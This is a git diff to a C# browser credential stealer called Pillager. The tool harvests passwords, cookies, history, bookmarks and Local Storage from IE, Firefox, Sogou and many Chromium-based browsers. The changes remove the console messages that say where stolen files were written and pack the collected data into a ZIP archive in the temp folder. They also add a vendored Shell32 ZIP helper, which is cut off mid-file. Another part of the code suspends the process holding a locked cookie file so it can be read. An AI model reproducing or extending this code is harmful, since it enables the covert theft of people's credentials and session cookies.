diff --git a/Pillager/Browsers/Chrome.cs b/Pillager/Browsers/Chrome.cs
index 487732d..9c2d7b3 100644
--- a/Pillager/Browsers/Chrome.cs
+++ b/Pillager/Browsers/Chrome.cs
@@ -217,7 +217,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
- Console.WriteLine("Files wrote to " + savepath);
}
}
}
diff --git a/Pillager/Browsers/FireFox.cs b/Pillager/Browsers/FireFox.cs
index b3a262e..9679d26 100644
--- a/Pillager/Browsers/FireFox.cs
+++ b/Pillager/Browsers/FireFox.cs
@@ -301,7 +301,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
- Console.WriteLine("Files wrote to " + savepath);
}
}
}
diff --git a/Pillager/Browsers/IE.cs b/Pillager/Browsers/IE.cs
index 58b3254..c3ad055 100644
--- a/Pillager/Browsers/IE.cs
+++ b/Pillager/Browsers/IE.cs
@@ -244,7 +244,7 @@ namespace Pillager.Browsers
{
try
{
- urls[i] = myreg.GetValue("url" + i.ToString()).ToString();
+ urls[i] = myreg.GetValue("url" + i.ToString())?.ToString();
}
catch { }
}
@@ -289,7 +289,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
- Console.WriteLine("Files wrote to " + savepath);
}
}
}
\ No newline at end of file
diff --git a/Pillager/Browsers/OldSogou.cs b/Pillager/Browsers/OldSogou.cs
index b014245..2657026 100644
--- a/Pillager/Browsers/OldSogou.cs
+++ b/Pillager/Browsers/OldSogou.cs
@@ -142,8 +142,6 @@ namespace Pillager.Browsers
if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies);
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
-
- Console.WriteLine("Files wrote to " + savepath);
}
}
}
diff --git a/Pillager/Helper/LockedFile.cs b/Pillager/Helper/LockedFile.cs
index 510711b..54fceb0 100644
--- a/Pillager/Helper/LockedFile.cs
+++ b/Pillager/Helper/LockedFile.cs
@@ -27,7 +27,6 @@ namespace Pillager.Helper
Native.CloseHandle(hfile);
Native.NtResumeProcess(hProcess);
Native.CloseHandle(hProcess);
- File.WriteAllBytes("Cookies", fileBuffer);
return fileBuffer;
}
catch { return null; }
@@ -175,13 +174,6 @@ namespace Pillager.Helper
return result;
}
- // Buffer contains:
- // struct FILE_PROCESS_IDS_USING_FILE_INFORMATION
- // {
- // ULONG NumberOfProcessIdsInList;
- // ULONG_PTR ProcessIdList[1];
- // }
-
IntPtr readBuffer = bufferPtr;
int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList
readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
@@ -207,7 +199,7 @@ namespace Pillager.Helper
private static IntPtr GetFileHandle(string name)
{
return Native.CreateFile(name,
- 0, // "FileAccess.Neither" Read nor Write
+ 0,
FileShare.Read | FileShare.Write | FileShare.Delete,
IntPtr.Zero,
FileMode.Open,
diff --git a/Pillager/Pillager.csproj b/Pillager/Pillager.csproj
index 7d36107..1c1e43d 100644
--- a/Pillager/Pillager.csproj
+++ b/Pillager/Pillager.csproj
@@ -58,6 +58,12 @@
+
+
+
+
+
+
diff --git a/Pillager/Program.cs b/Pillager/Program.cs
index a806c8a..cf8a4d8 100644
--- a/Pillager/Program.cs
+++ b/Pillager/Program.cs
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
+using System.IO.Compression;
using Pillager.Browsers;
namespace Pillager
@@ -10,10 +11,10 @@ namespace Pillager
static void Main(string[] args)
{
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
- if (!Directory.Exists(savepath))
- {
- Directory.CreateDirectory(savepath);
- }
+ string savezippath = savepath + ".zip";
+ if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
+ if (File.Exists(savezippath)) File.Delete(savezippath);
+ Directory.CreateDirectory(savepath);
//IE
IE.Save(savepath);
@@ -31,7 +32,7 @@ namespace Pillager
new List() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } ,
new List() { "Chromium", "Chromium\\User Data\\Default" } ,
new List() { "Edge", "Microsoft\\Edge\\User Data\\Default" } ,
- new List() { "Brave-Browse", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
+ new List() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
new List() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } ,
new List() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } ,
new List() { "Vivaldi", "Vivaldi\\User Data\\Default" } ,
@@ -45,6 +46,10 @@ namespace Pillager
Chrome chrome = new Chrome(browser[0], chromepath);
chrome.Save(savepath);
}
+
+ //ZIP
+ ZipFile.CreateFromDirectory(savepath, savezippath);
+ Directory.Delete(savepath, true);
}
}
}
diff --git a/Pillager/ZIP/CompressionLevel.cs b/Pillager/ZIP/CompressionLevel.cs
new file mode 100644
index 0000000..95880aa
--- /dev/null
+++ b/Pillager/ZIP/CompressionLevel.cs
@@ -0,0 +1,32 @@
+#region License
+/*
+ Copyright (c) 2015, Paweł Hofman (CodeTitans)
+ All Rights Reserved.
+
+ Licensed under MIT License
+ For more information please visit:
+
+ https://github.com/phofman/zip/blob/master/LICENSE
+ or
+ http://opensource.org/licenses/MIT
+
+
+ For latest source code, documentation, samples
+ and more information please visit:
+
+ https://github.com/phofman/zip
+*/
+#endregion
+
+namespace System.IO.Compression
+{
+ ///
+ /// Specification of the completion level.
+ ///
+ public enum CompressionLevel
+ {
+ Fastest,
+ NoCompression,
+ Optimal
+ }
+}
diff --git a/Pillager/ZIP/ShellHelper.cs b/Pillager/ZIP/ShellHelper.cs
new file mode 100644
index 0000000..ff588a5
--- /dev/null
+++ b/Pillager/ZIP/ShellHelper.cs
@@ -0,0 +1,297 @@
+#region License
+/*
+ Copyright (c) 2015, Paweł Hofman (CodeTitans)
+ All Rights Reserved.
+
+ Licensed under MIT License
+ For more information please visit:
+
+ https://github.com/phofman/zip/blob/master/LICENSE
+ or
+ http://opensource.org/licenses/MIT
+
+
+ For latest source code, documentation, samples
+ and more information please visit:
+
+ https://github.com/phofman/zip
+*/
+#endregion
+
+using System.Reflection;
+using System.Threading;
+
+namespace System.IO.Compression
+{
+ ///
+ /// Helper class for some Shell32 operations.
+ ///
+ static class ShellHelper
+ {
+ ///
+ /// Simple wrapper class for making reflection easier.
+ ///
+ public class ReflectionWrapper
+ {
+ private readonly object _o;
+
+ ///
+ /// Init constructor.
+ ///
+ protected ReflectionWrapper(object o)
+ {
+ if (o == null)
+ throw new ArgumentNullException("o");
+
+ _o = o;
+ }
+
+ ///
+ /// Gets the COM type of the wrapped object.
+ ///
+ protected Type WrappedType
+ {
+ get { return _o.GetType(); }
+ }
+
+ ///
+ /// Gets the wrapped object value.
+ ///
+ protected internal object WrappedObject
+ {
+ get { return _o; }
+ }
+
+ ///
+ /// Invokes the method with specified name.
+ ///
+ protected T InvokeMethod(string name, params object[] args)
+ {
+ return (T) WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
+ }
+
+ ///
+ /// Invokes the method with specified name.
+ ///
+ protected object InvokeMethod(string name, params object[] args)
+ {
+ return WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
+ }
+
+ ///
+ /// Gets the value of specified property.
+ ///
+ protected T GetProperty(string name)
+ {
+ return (T) WrappedType.InvokeMember(name, BindingFlags.GetProperty, null, WrappedObject, null);
+ }
+
+ ///
+ /// Sets the value of specified property.
+ ///
+ protected void SetProperty(string name, object value)
+ {
+ WrappedType.InvokeMember(name, BindingFlags.SetProperty, null, WrappedObject, new object[] { value });
+ }
+ }
+
+ ///
+ /// Wrapper class for the Shell Folder COM class.
+ /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787868(v=vs.85).aspx
+ ///
+ public class Folder : ReflectionWrapper
+ {
+ public Folder(object o, string path)
+ : base(o)
+ {
+ Path = path;
+ }
+
+ #region Properties
+
+ ///
+ /// Full path represented by this folder (or ZIP archive).
+ ///
+ public string Path
+ {
+ get;
+ private set;
+ }
+
+ #endregion
+
+ ///
+ /// Returns a string that represents the current object.
+ ///
+ ///
+ /// A string that represents the current object.
+ ///
+ public override string ToString()
+ {
+ return Path;
+ }
+
+ public FolderItems Items()
+ {
+ return new FolderItems(InvokeMethod("Items"));
+ }
+
+ ///
+ /// Copies specified items (single file or collection) into current folder or ZIP archive.
+ ///
+ public void Copy(ReflectionWrapper items)
+ {
+ const int NoProgressDialog = 4;
+ const int RespondYesToAllDialogs = 16;
+ const int NoUiOnError = 1024;
+
+ // HINT: somehow flags about UI are ignored and if operation takes a bit more time (from several seconds up)
+ // shell will display the progress with option to cancel
+ // HINT: this call is asynchronous and starts another thread without any way to easily monitor progress
+ InvokeMethod("CopyHere", items.WrappedObject, NoProgressDialog | RespondYesToAllDialogs | NoUiOnError);
+ }
+ }
+
+ ///
+ /// Wrapper class for the Shell FolderItems COM class.
+ /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787800(v=vs.85).aspx
+ ///
+ public class FolderItems : ReflectionWrapper
+ {
+ public FolderItems(object o)
+ : base(o)
+ {
+ }
+
+ ///
+ /// Gets the number of items.
+ ///
+ public int Count
+ {
+ get { return GetProperty("Count"); }
+ }
+
+ ///
+ /// Gets item at specified index.
+ ///
+ public FolderItem this[int index]
+ {
+ get { return new FolderItem(InvokeMethod("Item", index)); }
+ }
+ }
+
+ ///
+ /// Wrapper class for the Shell FolderItem COM class.
+ /// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787810(v=vs.85).aspx
+ ///
+ public class FolderItem : ReflectionWrapper
+ {
+ public FolderItem(object o)
+ : base(o)
+ {
+ }
+
+ ///
+ /// Checks if given item is a folder.
+ ///
+ public bool IsFolder
+ {
+ get { return GetProperty("IsFolder"); }
+ }
+
+ ///
+ /// Gets or sets the name.
+ ///
+ public string Name
+ {
+ get { return GetProperty("Name"); }
+ set { SetProperty("Name", value); }
+ }
+
+ ///
+ /// Gets the size.
+ ///
+ public long Size
+ {
+ get { return GetProperty("Size"); }
+ }
+
+ ///
+ /// Gets the full path of an item. If it's inside the ZIP archive, it will be prefixed with the path to that ZIP.
+ ///
+ public string Path
+ {
+ get { return GetProperty("Path"); }
+ }
+
+ ///
+ /// Gets the folder representation of an item (if it's actually a folder) or null.
+ ///
+ public Folder AsFolder
+ {
+ get
+ {
+ if (IsFolder)
+ {
+ return new Folder(GetProperty